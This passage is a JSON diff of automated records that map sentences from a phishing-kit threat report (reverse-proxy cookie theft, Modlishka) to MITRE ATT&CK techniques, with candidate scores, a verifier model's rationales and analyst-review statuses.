usernames, passwords, MFA tokens, SSNs, and credit card numbers", + "source_start": 2251, + "source_end": 2549, + "entities": [ + { + "text": "open-source kits", + "label": "software tool", + "score": 0.5390625, + "start": 2289, + "end": 2305 + }, + { + "text": "usernames", + "label": "credential", + "score": 0.98681640625, + "start": 2467, + "end": 2476 + }, + { + "text": "passwords", + "label": "credential", + "score": 0.9873046875, + "start": 2478, + "end": 2487 + }, + { + "text": "MFA tokens", + "label": "authentication token", + "score": 0.8818359375, + "start": 2489, + "end": 2499 + }, + { + "text": "social security numbers", + "label": "credential", + "score": 0.96484375, + "start": 2501, + "end": 2524 + }, + { + "text": "credit card numbers", + "label": "credential", + "score": 0.9833984375, + "start": 2529, + "end": 2548 + } + ], + "actor": "phishing kits", + "action": "steal", + "object": "usernames, passwords, MFA tokens, social security numbers and credit card numbers", + "tool": "open-source kits", + "target": "", + "assertion": "capability" + }, + "route": "abstain", + "status": "no_mapping_suggested", + "selected_technique_id": null, + "support": "unsupported", + "evidence_quote": "", + "rationale": "The quote describes phishing kits as tools for stealing credentials and sensitive data but does not state the specific adversary action of sending messages or executing code required to support any candidate technique.", + "candidates": [ + { + "technique_id": "T1566", + "name": "Phishing", + "dense_score": 0.6187321543693542, + "rerank_score": 0.9921875, + "rerank_rank": 0, + "late_interaction_score": 18.632705688476562, + "dense_rank": 10, + "late_interaction_rank": 30, + "fusion_score": 0.05733158254739354, + "exemplar_score": 0.8219028115272522, + "exemplar_rank": 1, + "exemplar_quote": "An additional example of a recent fake video conferencing credential phishing campaign featured the “.onmicrosoft.com” domain name.", + "exemplar_document": "proofpoint_2021-05-18_threat-actors-exploit-microsoft-and" + }, + { + "technique_id": "T1684", + "name": "Social Engineering", + "dense_score": 0.6136495471000671, + "rerank_score": 0.9609375, + "rerank_rank": 1, + "late_interaction_score": 18.802106857299805, + "dense_rank": 12, + "late_interaction_rank": 18, + "fusion_score": 0.026356857985087564, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1111", + "name": "Multi-Factor Authentication Interception", + "dense_score": 0.6862224340438843, + "rerank_score": 0.94921875, + "rerank_rank": 2, + "late_interaction_score": 18.697513580322266, + "dense_rank": 3, + "late_interaction_rank": 25, + "fusion_score": 0.027252906976744186, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.7020877003669739, + "rerank_score": 0.93359375, + "rerank_rank": 3, + "late_interaction_score": 18.795072555541992, + "dense_rank": 1, + "late_interaction_rank": 19, + "fusion_score": 0.028629032258064516, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598", + "name": "Phishing for Information", + "dense_score": 0.6432119607925415, + "rerank_score": 0.9140625, + "rerank_rank": 4, + "late_interaction_score": 18.986553192138672, + "dense_rank": 6, + "late_interaction_rank": 7, + "fusion_score": 0.029631255487269532, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1589.001", + "name": "Credentials", + "dense_score": 0.7336918115615845, + "rerank_score": 0.875, + "rerank_rank": 5, + "late_interaction_score": 19.47806167602539, + "dense_rank": 0, + "late_interaction_rank": 1, + "fusion_score": 0.03252247488101534, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.002", + "name": "Spearphishing Attachment", + "dense_score": 0.610603392124176, + "rerank_score": 0.73046875, + "rerank_rank": 6, + "late_interaction_score": 19.01498794555664, + "dense_rank": 14, + "late_interaction_rank": 5, + "fusion_score": 0.028484848484848488, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1589", + "name": "Gather Victim Identity Information", + "dense_score": 0.6910121440887451, + "rerank_score": 0.70703125, + "rerank_rank": 7, + "late_interaction_score": 19.65825080871582, + "dense_rank": 2, + "late_interaction_rank": 0, + "fusion_score": 0.0635164584959667, + "exemplar_score": 0.7570090293884277, + "exemplar_rank": 3, + "exemplar_quote": "Cybercriminals will target users from every conceivable method possible, leveraging their email scams, SMS phishing (SMiShing), typo-squatting, domain-squatting, and malvertising in an attempt to collect sensitive information from the user or worse.", + "exemplar_document": "zscaler_2020-11-03_election-2020-themed-scams-and" + }, + { + "technique_id": "T1140", + "name": "Deobfuscate/Decode Files or Information", + "dense_score": 0.4899502396583557, + "rerank_score": 0.65234375, + "rerank_rank": 8, + "late_interaction_score": 17.5899658203125, + "dense_rank": 145, + "late_interaction_rank": 153, + "fusion_score": 0.03484372182450304, + "exemplar_score": 0.7091057300567627, + "exemplar_rank": 18, + "exemplar_quote": "The decoded content shown in Figure 5 uses the meta-refresh tag to redirect the user to the target credential phishing site.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1598.001", + "name": "Spearphishing Service", + "dense_score": 0.5821610689163208, + "rerank_score": 0.37890625, + "rerank_rank": 9, + "late_interaction_score": 18.956157684326172, + "dense_rank": 21, + "late_interaction_rank": 9, + "fusion_score": 0.0264808362369338, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": null + }, + { + "behavior": { + "quote": "At their core these kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords.", + "summary": "Kits harvest credentials using techniques similar to traditional kits", + "source_start": 2550, + "source_end": 2696, + "entities": [], + "actor": "kits", + "action": "harvest", + "object": "credentials", + "tool": "", + "target": "", + "assertion": "capability" + }, + "route": "suggested_mapping", + "status": "needs_analyst_review", + "selected_technique_id": "T1555", + "support": "supported", + "evidence_quote": "these kits are using the same techniques for harvesting credentials as the traditional kits that steal only usernames and passwords", + "rationale": "The quote describes kits stealing usernames and passwords, which aligns with T1555 Credentials from Password Stores as it involves obtaining stored credentials.", + "candidates": [ + { + "technique_id": "T1555", + "name": "Credentials from Password Stores", + "dense_score": 0.6994597315788269, + "rerank_score": 0.99609375, + "rerank_rank": 0, + "late_interaction_score": 15.86345100402832, + "dense_rank": 4, + "late_interaction_rank": 111, + "fusion_score": 0.05398545411888912, + "exemplar_score": 0.8654791116714478, + "exemplar_rank": 0, + "exemplar_quote": "Ares Stealer collects detailed system information and harvests credentials for numerous applications including FTP clients, VPN clients, web browsers, instant messengers, and email clients.", + "exemplar_document": "zscaler_2021-03-30_ares-malware-grandson-kronos-banking" + }, + { + "technique_id": "T1078", + "name": "Valid Accounts", + "dense_score": 0.6152305006980896, + "rerank_score": 0.98828125, + "rerank_rank": 1, + "late_interaction_score": 15.89341926574707, + "dense_rank": 22, + "late_interaction_rank": 96, + "fusion_score": 0.05016365126870844, + "exemplar_score": 0.8386951684951782, + "exemplar_rank": 2, + "exemplar_quote": "Infostealer is one of the most profitable tools for cybercriminals, as information gathered from systems infected with this malware could be sold in the cybercrime underground or used for credential stuffing attacks.", + "exemplar_document": "zscaler_2020-08-14_purplewave-new-infostealer-russia" + }, + { + "technique_id": "T1056", + "name": "Input Capture", + "dense_score": 0.7385787963867188, + "rerank_score": 0.98046875, + "rerank_rank": 2, + "late_interaction_score": 16.438549041748047, + "dense_rank": 1, + "late_interaction_rank": 22, + "fusion_score": 0.056748653600577424, + "exemplar_score": 0.789372444152832, + "exemplar_rank": 9, + "exemplar_quote": "| https://storage[.]cloud[.]google[.]com/dhngw6p6rwrwnuv6vnuse.appspot.com/index.html#username@organizationname.tld | Microsoft Credential Theft Phishing URL |", + "exemplar_document": "proofpoint_2021-08-24_delta-variant-spreads-covid-19" + }, + { + "technique_id": "T1003", + "name": "OS Credential Dumping", + "dense_score": 0.7197186946868896, + "rerank_score": 0.96875, + "rerank_rank": 3, + "late_interaction_score": 16.162120819091797, + "dense_rank": 3, + "late_interaction_rank": 36, + "fusion_score": 0.025934278350515462, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1589.001", + "name": "Credentials", + "dense_score": 0.7785570621490479, + "rerank_score": 0.94140625, + "rerank_rank": 4, + "late_interaction_score": 16.226707458496094, + "dense_rank": 0, + "late_interaction_rank": 33, + "fusion_score": 0.027031740495291244, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1552", + "name": "Unsecured Credentials", + "dense_score": 0.6632598638534546, + "rerank_score": 0.8671875, + "rerank_rank": 5, + "late_interaction_score": 16.28208351135254, + "dense_rank": 11, + "late_interaction_rank": 30, + "fusion_score": 0.02487789987789988, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1589", + "name": "Gather Victim Identity Information", + "dense_score": 0.6658264398574829, + "rerank_score": 0.8515625, + "rerank_rank": 6, + "late_interaction_score": 16.183612823486328, + "dense_rank": 10, + "late_interaction_rank": 34, + "fusion_score": 0.04992727852792973, + "exemplar_score": 0.7452026009559631, + "exemplar_rank": 18, + "exemplar_quote": "Skimming is a technique by which cybercriminals steal credit card information from e-commerce sites and other internet payment portals.", + "exemplar_document": "zscaler_2021-05-11_magecart-attacks-2021" + }, + { + "technique_id": "T1555.003", + "name": "Credentials from Web Browsers", + "dense_score": 0.7321867942810059, + "rerank_score": 0.8359375, + "rerank_rank": 7, + "late_interaction_score": 15.973987579345703, + "dense_rank": 2, + "late_interaction_rank": 74, + "fusion_score": 0.05067768355439588, + "exemplar_score": 0.7823030948638916, + "exemplar_rank": 12, + "exemplar_quote": "| T1503 | Credentials from Web Browsers |", + "exemplar_document": "zscaler_2020-07-10_deep-dive-m00nd3v-logger" + }, + { + "technique_id": "T1212", + "name": "Exploitation for Credential Access", + "dense_score": 0.6284688711166382, + "rerank_score": 0.73046875, + "rerank_rank": 8, + "late_interaction_score": 16.12518310546875, + "dense_rank": 20, + "late_interaction_rank": 40, + "fusion_score": 0.02224666911135558, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1555.004", + "name": "Windows Credential Manager", + "dense_score": 0.6424492597579956, + "rerank_score": 0.71875, + "rerank_rank": 9, + "late_interaction_score": 15.82232666015625, + "dense_rank": 16, + "late_interaction_rank": 122, + "fusion_score": 0.018451493861329927, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": true, + "selected_technique": { + "technique_id": "T1555", + "name": "Credentials from Password Stores", + "description": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.", + "tactics": [ + "credential access" + ], + "platforms": [ + "IaaS", + "Linux", + "Windows", + "macOS" + ], + "is_subtechnique": false, + "attack_url": "https://attack.mitre.org/techniques/T1555", + "stix_id": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "modified": "2026-05-12T15:12:00.628Z" + } + }, + { + "behavior": { + "quote": "Another advantage of the reverse proxy is that it allows the threat actor to man-in-the-middle (MitM) a session and capture not only the usernames and passwords in real-time, but also the session cookie.", + "summary": "Threat actor performs MitM to capture credentials and session cookies", + "source_start": 3504, + "source_end": 3707, + "entities": [ + { + "text": "usernames", + "label": "credential", + "score": 0.85400390625, + "start": 3641, + "end": 3650 + }, + { + "text": "passwords", + "label": "credential", + "score": 0.81591796875, + "start": 3655, + "end": 3664 + }, + { + "text": "session cookie", + "label": "credential", + "score": 0.7763671875, + "start": 3692, + "end": 3706 + }, + { + "text": "session cookie", + "label": "network protocol", + "score": 0.546875, + "start": 3692, + "end": 3706 + } + ], + "actor": "threat actor", + "action": "capture", + "object": "usernames and passwords... session cookie", + "tool": "reverse proxy", + "target": "session", + "assertion": "observed" + }, + "route": "suggested_mapping", + "status": "needs_analyst_review", + "selected_technique_id": "T1539", + "support": "supported", + "evidence_quote": "capture not only the usernames and passwords in real-time, but also the session cookie", + "rationale": "The quote explicitly states the threat actor captures a session cookie via a reverse proxy, which directly matches the definition of stealing web session cookies.", + "candidates": [ + { + "technique_id": "T1539", + "name": "Steal Web Session Cookie", + "dense_score": 0.7003244757652283, + "rerank_score": 0.99609375, + "rerank_rank": 0, + "late_interaction_score": 20.308563232421875, + "dense_rank": 1, + "late_interaction_rank": 4, + "fusion_score": 0.06430053288858154, + "exemplar_score": 0.7520514726638794, + "exemplar_rank": 0, + "exemplar_quote": "| T1539 | Steal Web Session Cookie |", + "exemplar_document": "zscaler_2020-06-26_taurus-new-stealer-town" + }, + { + "technique_id": "T1557", + "name": "Adversary-in-the-Middle", + "dense_score": 0.7043004035949707, + "rerank_score": 0.98828125, + "rerank_rank": 1, + "late_interaction_score": 18.640216827392578, + "dense_rank": 0, + "late_interaction_rank": 252, + "fusion_score": 0.05184639531799359, + "exemplar_score": 0.7308529615402222, + "exemplar_rank": 1, + "exemplar_quote": "If macros are enabled, it will install and run The Trick, a trojan that intercepts and logs banking website visits to steal credentials.", + "exemplar_document": "proofpoint_2021-05-18_threat-actors-exploit-microsoft-and" + }, + { + "technique_id": "T1185", + "name": "Browser Session Hijacking", + "dense_score": 0.667436957359314, + "rerank_score": 0.9765625, + "rerank_rank": 2, + "late_interaction_score": 20.020339965820312, + "dense_rank": 3, + "late_interaction_rank": 16, + "fusion_score": 0.05802377769289534, + "exemplar_score": 0.6938760280609131, + "exemplar_rank": 7, + "exemplar_quote": "| T1185 | Man in the Browser |", + "exemplar_document": "zscaler_2021-03-30_ares-malware-grandson-kronos-banking" + }, + { + "technique_id": "T1090", + "name": "Proxy", + "dense_score": 0.5417672395706177, + "rerank_score": 0.9765625, + "rerank_rank": 3, + "late_interaction_score": 18.770652770996094, + "dense_rank": 28, + "late_interaction_rank": 206, + "fusion_score": 0.045284303711270006, + "exemplar_score": 0.6968272924423218, + "exemplar_rank": 5, + "exemplar_quote": "*Figure 19: Communication via proxy.*", + "exemplar_document": "zscaler_2020-07-10_deep-dive-m00nd3v-logger" + }, + { + "technique_id": "T1040", + "name": "Network Sniffing", + "dense_score": 0.5920377969741821, + "rerank_score": 0.65234375, + "rerank_rank": 4, + "late_interaction_score": 19.71370506286621, + "dense_rank": 10, + "late_interaction_rank": 29, + "fusion_score": 0.025195618153364633, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1090.002", + "name": "External Proxy", + "dense_score": 0.5250840187072754, + "rerank_score": 0.306640625, + "rerank_rank": 5, + "late_interaction_score": 18.677833557128906, + "dense_rank": 36, + "late_interaction_rank": 240, + "fusion_score": 0.013631537486728088, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1056", + "name": "Input Capture", + "dense_score": 0.6213802695274353, + "rerank_score": 0.28125, + "rerank_rank": 6, + "late_interaction_score": 19.827638626098633, + "dense_rank": 6, + "late_interaction_rank": 25, + "fusion_score": 0.05512470868250112, + "exemplar_score": 0.6846616268157959, + "exemplar_rank": 9, + "exemplar_quote": "* The email conversations were benign until TA453 provided a link to a compromised website hosting a credential harvesting page.", + "exemplar_document": "proofpoint_2021-07-13_operation-spoofedscholars-conversation-ta453" + }, + { + "technique_id": "T1550.004", + "name": "Web Session Cookie", + "dense_score": 0.6676535606384277, + "rerank_score": 0.2451171875, + "rerank_rank": 7, + "late_interaction_score": 20.017650604248047, + "dense_rank": 2, + "late_interaction_rank": 17, + "fusion_score": 0.028693528693528692, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.602398157119751, + "rerank_score": 0.0810546875, + "rerank_rank": 8, + "late_interaction_score": 18.80339813232422, + "dense_rank": 7, + "late_interaction_rank": 189, + "fusion_score": 0.018705882352941176, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1090.001", + "name": "Internal Proxy", + "dense_score": 0.5558785796165466, + "rerank_score": 0.06787109375, + "rerank_rank": 9, + "late_interaction_score": 18.78205680847168, + "dense_rank": 20, + "late_interaction_rank": 199, + "fusion_score": 0.016191832858499525, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": true, + "selected_technique": { + "technique_id": "T1539", + "name": "Steal Web Session Cookie", + "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols. There are several examples of malware targeting cookies from web browsers on the local system. Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on User Execution by tricking victims into running malicious JavaScript in their browser. There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., Adversary-in-the-Middle) that can be set up by an adversary and used in phishing campaigns. After an adversary acquires a valid cookie, they can then perform a Web Session Cookie technique to login to the corresponding web application.", + "tactics": [ + "credential access" + ], + "platforms": [ + "Linux", + "Office Suite", + "SaaS", + "Windows", + "macOS" + ], + "is_subtechnique": false, + "attack_url": "https://attack.mitre.org/techniques/T1539", + "stix_id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff", + "modified": "2026-05-12T15:12:00.621Z" + } + }, + { + "behavior": { + "quote": "This relatively simple tool allows phishing one site at a time", + "summary": "Modlishka phishes a single site", + "source_start": 4636, + "source_end": 4698, + "entities": [], + "actor": "Modlishka", + "action": "phishing", + "object": "", + "tool": "Modlishka", + "target": "one site", + "assertion": "capability" + }, + "route": "suggested_mapping", + "status": "needs_analyst_review", + "selected_technique_id": "T1566", + "support": "supported", + "evidence_quote": "This relatively simple tool allows phishing one site at a time", + "rationale": "The quote describes using a tool for phishing to gain access, which aligns with the general definition of T1566 Phishing.", + "candidates": [ + { + "technique_id": "T1566", + "name": "Phishing", + "dense_score": 0.7179984450340271, + "rerank_score": 1.0, + "rerank_rank": 0, + "late_interaction_score": 18.698429107666016, + "dense_rank": 0, + "late_interaction_rank": 10, + "fusion_score": 0.06326483491110599, + "exemplar_score": 0.8560320138931274, + "exemplar_rank": 0, + "exemplar_quote": "As an example, the OWA phishing page is displayed (Figure 15) when the user clicks the “Outlook Web Access” link on the web page.", + "exemplar_document": "zscaler_2020-07-17_new-voicemail-themed-phishing-attacks" + }, + { + "technique_id": "T1598.003", + "name": "Spearphishing Link", + "dense_score": 0.7083044648170471, + "rerank_score": 0.9765625, + "rerank_rank": 1, + "late_interaction_score": 18.426685333251953, + "dense_rank": 1, + "late_interaction_rank": 29, + "fusion_score": 0.02724014336917563, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1598", + "name": "Phishing for Information", + "dense_score": 0.6897177696228027, + "rerank_score": 0.94140625, + "rerank_rank": 2, + "late_interaction_score": 18.73104476928711, + "dense_rank": 2, + "late_interaction_rank": 8, + "fusion_score": 0.03036576949620428, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1684", + "name": "Social Engineering", + "dense_score": 0.606002688407898, + "rerank_score": 0.91796875, + "rerank_rank": 3, + "late_interaction_score": 17.144216537475586, + "dense_rank": 15, + "late_interaction_rank": 218, + "fusion_score": 0.016742124127523107, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1204", + "name": "User Execution", + "dense_score": 0.6278260946273804, + "rerank_score": 0.70703125, + "rerank_rank": 4, + "late_interaction_score": 18.42049217224121, + "dense_rank": 8, + "late_interaction_rank": 30, + "fusion_score": 0.05722779635823114, + "exemplar_score": 0.7957733273506165, + "exemplar_rank": 2, + "exemplar_quote": "Click the URL link.", + "exemplar_document": "zscaler_2020-09-29_targeted-attacks-oil-and-gas" + }, + { + "technique_id": "T1608.005", + "name": "Link Target", + "dense_score": 0.6736311912536621, + "rerank_score": 0.59375, + "rerank_rank": 5, + "late_interaction_score": 18.368019104003906, + "dense_rank": 3, + "late_interaction_rank": 39, + "fusion_score": 0.025625000000000002, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1566.002", + "name": "Spearphishing Link", + "dense_score": 0.6354902982711792, + "rerank_score": 0.5625, + "rerank_rank": 6, + "late_interaction_score": 18.190975189208984, + "dense_rank": 6, + "late_interaction_rank": 53, + "fusion_score": 0.023697302958889763, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1593", + "name": "Search Open Websites/Domains", + "dense_score": 0.5508492588996887, + "rerank_score": 0.439453125, + "rerank_rank": 7, + "late_interaction_score": 18.702171325683594, + "dense_rank": 47, + "late_interaction_rank": 9, + "fusion_score": 0.023544973544973542, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1204.001", + "name": "Malicious Link", + "dense_score": 0.615333616733551, + "rerank_score": 0.439453125, + "rerank_rank": 8, + "late_interaction_score": 18.007728576660156, + "dense_rank": 12, + "late_interaction_rank": 70, + "fusion_score": 0.02133221792324584, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1592.001", + "name": "Hardware", + "dense_score": 0.467898964881897, + "rerank_score": 0.26953125, + "rerank_rank": 9, + "late_interaction_score": 18.775009155273438, + "dense_rank": 178, + "late_interaction_rank": 5, + "fusion_score": 0.019335615569925194, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": true, + "selected_technique": { + "technique_id": "T1566", + "name": "Phishing", + "description": "Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns. Adversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\"). Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).", + "tactics": [ + "initial access" + ], + "platforms": [ + "Identity Provider", + "Linux", + "Office Suite", + "SaaS", + "Windows", + "macOS" + ], + "is_subtechnique": false, + "attack_url": "https://attack.mitre.org/techniques/T1566", + "stix_id": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "modified": "2026-05-12T15:12:00.706Z" + } + }, + { + "behavior": { + "quote": "sports a command line interface", + "summary": "Modlishka provides a command line interface", + "source_start": 4700, + "source_end": 4731, + "entities": [ + { + "text": "command line interface", + "label": "command or script", + "score": 0.51025390625, + "start": 4709, + "end": 4731 + } + ], + "actor": "Modlishka", + "action": "provides", + "object": "command line interface", + "tool": "Modlishka", + "target": "", + "assertion": "capability" + }, + "route": "abstain", + "status": "no_mapping_suggested", + "selected_technique_id": null, + "support": "unsupported", + "evidence_quote": "", + "rationale": "The quote describes a tool feature rather than an adversary execution action, lacking evidence of malicious command invocation or system control.", + "candidates": [ + { + "technique_id": "T1059", + "name": "Command and Scripting Interpreter", + "dense_score": 0.6269456744194031, + "rerank_score": 0.99609375, + "rerank_rank": 0, + "late_interaction_score": 17.652565002441406, + "dense_rank": 1, + "late_interaction_rank": 0, + "fusion_score": 0.06530936012691699, + "exemplar_score": 0.8078749179840088, + "exemplar_rank": 0, + "exemplar_quote": "| Enterprise | T1059 | Command-Line Interface | Leviathan uses different command line tools, like net.exe or MURKYTOP. |", + "exemplar_document": "lab52_2019-05-30_leviathan-geostrategy-and-ttp-technical" + }, + { + "technique_id": "T1059.004", + "name": "Unix Shell", + "dense_score": 0.5704536437988281, + "rerank_score": 0.9765625, + "rerank_rank": 1, + "late_interaction_score": 16.164106369018555, + "dense_rank": 9, + "late_interaction_rank": 146, + "fusion_score": 0.01911663216011042, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1059.008", + "name": "Network Device CLI", + "dense_score": 0.6486979722976685, + "rerank_score": 0.96875, + "rerank_rank": 2, + "late_interaction_score": 16.837026596069336, + "dense_rank": 0, + "late_interaction_rank": 14, + "fusion_score": 0.029726775956284153, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1059.003", + "name": "Windows Command Shell", + "dense_score": 0.6004247665405273, + "rerank_score": 0.96875, + "rerank_rank": 3, + "late_interaction_score": 16.598947525024414, + "dense_rank": 2, + "late_interaction_rank": 32, + "fusion_score": 0.026625704045058884, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1219", + "name": "Remote Access Tools", + "dense_score": 0.5610226392745972, + "rerank_score": 0.94140625, + "rerank_rank": 4, + "late_interaction_score": 17.153377532958984, + "dense_rank": 11, + "late_interaction_rank": 1, + "fusion_score": 0.030017921146953404, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1059.012", + "name": "Hypervisor CLI", + "dense_score": 0.585620641708374, + "rerank_score": 0.80859375, + "rerank_rank": 5, + "late_interaction_score": 16.852022171020508, + "dense_rank": 4, + "late_interaction_rank": 13, + "fusion_score": 0.0288981288981289, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1119", + "name": "Automated Collection", + "dense_score": 0.4321275055408478, + "rerank_score": 0.73046875, + "rerank_rank": 6, + "late_interaction_score": 17.117507934570312, + "dense_rank": 438, + "late_interaction_rank": 3, + "fusion_score": 0.017629008016032063, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1202", + "name": "Indirect Command Execution", + "dense_score": 0.5811823010444641, + "rerank_score": 0.53125, + "rerank_rank": 7, + "late_interaction_score": 16.59624481201172, + "dense_rank": 6, + "late_interaction_rank": 33, + "fusion_score": 0.025563671006668783, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1059.013", + "name": "Container CLI/API", + "dense_score": 0.576357364654541, + "rerank_score": 0.53125, + "rerank_rank": 8, + "late_interaction_score": 16.325490951538086, + "dense_rank": 7, + "late_interaction_rank": 94, + "fusion_score": 0.021157495256166982, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1056.002", + "name": "GUI Input Capture", + "dense_score": 0.5618309378623962, + "rerank_score": 0.53125, + "rerank_rank": 9, + "late_interaction_score": 16.057666778564453, + "dense_rank": 10, + "late_interaction_rank": 201, + "fusion_score": 0.017901300935383294, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + } + ], + "verifier_model": "Qwen/Qwen3.6-27B:no-spec", + "escalated": false, + "exemplar_agreement": false, + "selected_technique": null + }, + { + "behavior": { + "quote": "provides the threat actor with a handy GUI to retrieve the credentials and session information", + "summary": "Modlishka retrieves credentials and session information via GUI", + "source_start": 4737, + "source_end": 4831, + "entities": [ + { + "text": "credentials", + "label": "credential", + "score": 0.8330078125, + "start": 4796, + "end": 4807 + } + ], + "actor": "threat actor", + "action": "retrieve", + "object": "credentials and session information", + "tool": "Modlishka", + "target": "", + "assertion": "capability" + }, + "route": "abstain", + "status": "no_mapping_suggested", + "selected_technique_id": null, + "support": "unsupported", + "evidence_quote": "", + "rationale": "The quote describes a tool feature to retrieve credentials but lacks specific technical details required to map to any candidate definition.", + "candidates": [ + { + "technique_id": "T1538", + "name": "Cloud Service Dashboard", + "dense_score": 0.5792210698127747, + "rerank_score": 0.99609375, + "rerank_rank": 0, + "late_interaction_score": 18.20471954345703, + "dense_rank": 43, + "late_interaction_rank": 70, + "fusion_score": 0.017248972401644157, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1056.002", + "name": "GUI Input Capture", + "dense_score": 0.6781620383262634, + "rerank_score": 0.9921875, + "rerank_rank": 1, + "late_interaction_score": 18.32597541809082, + "dense_rank": 4, + "late_interaction_rank": 61, + "fusion_score": 0.023581336696090797, + "exemplar_score": null, + "exemplar_rank": null, + "exemplar_quote": null, + "exemplar_document": null + }, + { + "technique_id": "T1555.004", + "name": 